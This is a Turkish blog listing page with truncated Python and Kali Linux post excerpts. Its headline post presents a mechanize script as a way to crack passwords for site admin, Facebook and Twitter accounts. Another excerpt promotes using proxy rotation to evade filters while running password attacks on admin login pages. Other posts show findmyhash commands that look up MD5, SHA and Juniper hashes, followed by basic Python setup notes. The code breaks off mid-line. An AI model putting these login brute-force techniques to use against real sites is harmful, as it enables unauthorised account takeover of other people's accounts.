Ana içeriğe atla

Kayıtlar

Python etiketine sahip yayınlar gösteriliyor

Python ile Hack (Mechanize)

Python ile site şifresi kırmak için (Site Admin,Face,Twit vb..) aşağıdaki kodları bir metin editörüne kopyalayıp web.py adıyla kaydedin. import mechanize br=mechanize.Browser() br.set_handle_robots(False) br.addheaders=[('User-agent', "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36")] dos=open("loginweb2.txt","w+") dos.write(br.open("http://web.example.com/login.php").read()) dos.seek(0) text=dos.read() site=raw_input("Web Site:") postmail=raw_input("Post Mail:") postpass=raw_input("Post Pass:") postformid=raw_input("Post Form id:") username=raw_input("User:") txt=raw_input("Password Txt:") br.open(site) br.select_form(nr=int(postformid)) br[postmail]="xxxxxx@gmail.com" br[postpass]="yyy1zzz2" data=br.submit() print "Error Post Url:" print br.ge

Juniper Şifre Kırma

Terminal ekranını açın ve kodu aşağıdaki şekilde kullanın. Tırnak ile ayrılmış kısma kırmak istediğiniz juniper şifresini yazın. Unutmayın ki  bu kod şifre kırmaz. Sunucularda sizin verdiğiniz şifreyi arayıp daha önceden şifrelenmiş birebir benzer kodu aramaktadır. Bulursa size direk şifrenin çözülmüş halini verecektir. findmyhash JUNIPER -h "\$9\$LbHX-wg4Z" Juniper Nedir

Python mechanize kurulumu

Linux'ta Python programlama diline mechanize kurulumu çok basittir python un kendi installeri kullanılarak kurulmaktadır. Bir terminal ekranı açıp aşağıdaki kodları yazın. Mechanize modülünü kullanarak profesyonel çalışan botlar yazabilirsiniz. Yani dilediğiniz kadar browserin kimliğini taklit edebilir. Rastgele değiştirebilir. Elinizdeki proxy ip sayısı kadar döngülere sokulup filtrelere girmeden işlem yapabilir, yaptırabilirsiniz. Bir web sayfasından veri çekebilir, veri girişi yapabilir. Hatta Web Admin Login sayfalarına password attack yapabilirsiniz. pip install mechanize yada easy_install mechanize Modülü kurduktan sonra ; Aşağıdaki kodları " kod.py " olarak kaydedin. Bu kısım önemli değil " deneme.py " olarakta kaydedilebilir. import mechanize for i in dir (mechanize):     print i bu kodları kaydettikten sonra. Terminal ekranına; python kod.py yazıp enter'a bastığınızda. Mechanize kodlarının özelliklerini ve kullanımını

SHA kırmak (SHA-1, SHA256)

Md5 te olduğu gibi bununda kırılması imkansız kadar uzaktır. Hatta md5 ten çok daha zordur.Ama yine aynı yöntemlerle kırma işlemi denenebilir. ( Md5 Yöntem ) Kali linux terminal ekranında bu komutu kullanarak tüm md5 ve sha veri tabanlarında şifreyi taratabilir. Daha önceden kaydı varsa bulup size verebilir. Öncelikle aşağıdaki linkten bir Sha-1 Şifre oluşturalım. http://www.sha1-online.com/ Daha sonra oluşturduğumuz şifreli veriyi aşağıdaki kodla kırmayı deneyelim. Oluşturacağınız şifre deneme için basit olsun. Örneğin : "administrator" findmyhash   SHA256   -h   050f61a238cc006ebde9f281c354b304df959547 LDAP için; findmyhash LDAP_SHA1 -h " {SHA}cRDtpNCeBiql5KOQsKVyrA0sAiA= " -g Buradaki -g komutu şifre aramaya googleyi de dahil eder.

Md5 Cracker

Md5 te ters mühendislik yapılması imkansızdır. Çünkü oluşturulan 32 haneli verinin çözüm anahtarı yoktur. Örnek Md5 Kodu : b5c0b187fe309af0f4d35982fd961d7e  Fakat daha önceden belirlenmiş şifre ihtimallerinin md5 le şifrelenmiş halini (milyonlarca hatta milyarlarca ihtimali) veritabanında kayıt edip karşılaştırılabilinir.   Kali Linux 'ta python ile yazılmış dünyadaki md5 veritabanlarının tamamında arama yapan bir komut mevcut. " findmyhash " Bu komutla linux'ta md5 şifresini kırmayı deneyebilirsiniz. Önce Md5 ile Şifreleme Yapalım : Md5 Oluşturucu Sitesine girip kolay bir şifre yazıp şifreleyin :  "1234" gibi yada  "asdfg" gibi. MD5 Decode Oluşturduğunuz kodu linux terminalinde aşağıdaki gibi yazıp enter a basın.Dünyadaki bilinen tüm md5 veritabanlarında benzer önceden oluştuurlmuş şifreli md5 ler arasında arama yapıp size sonuç verecektir. Linux Terminal Kodu : findmyhash MD5 -h 098f6bcd4621d373cade4e832627b4f6 Birden

Linux Python kurulumu ve kullanımı

Python u kurmak için Linux terminal ekranını açın ve aşağıdaki kodu yazın. apt-get install python bu komut bilgisayarınıza python u kuracaktır. Python da program yazmak için bir text editorü açın ve kodlarınızı yazıp uzantısını   .py olacak şekilde kaydedin. Örnek : deneme.py Tekrar terminal ekranını açın ve komut satırına python deneme.py komutunu girin. Yazdığınız program satır satır yorumlanacak ve çalışacaktır. Örnek: deneme.py içeriği: print "Bir Sayı Giriniz" Python içerisinde birçok programcıkta hazır gelmektedir.Örneğin Md5 Şifre Tarayıcı Findmyhash programcığı komut satırında direk yazılarak kullanılmaktadır.

Python Programlama Dili

Python, yaygın olarak kullanılan, genel amaçlı, yorumlanmış, dinamik bir programlama dili olan üst düzey bir programdır. Tasarım felsefesi, kodun okunabilirliğini vurgular ve sözdizimi, programcıların kavramları C ++ veya Java gibi dillerde mümkün olan en az kod satırında ifade etmesine olanak tanır. Bu dil, küçük ve büyük ölçekte açık programlar yazmayı mümkün kılan yapıları sağlar. Python, nesne yönelimli, zorunlu ve işlevsel programlama veya yordamsal stiller de dahil olmak üzere çoklu programlama paradigmalarını destekler. Dinamik bir sistem ve otomatik hafıza yönetimi özellikleri ve geniş ve kapsamlı bir standart kütüphanesine sahiptir. Pek çok işletim sistemi için Python yorumlayıcıları mevcuttur ve Python kodunun çok çeşitli sistemlerde çalışmasına izin verir. Python'un referans uygulaması olan CPython, açık kaynaklı bir yazılımdır ve neredeyse tüm varyant uygulamalarının yaptığı gibi toplum temelli bir geliştirme modeline sahiptir. CPython kar amacı gütmeyen Python So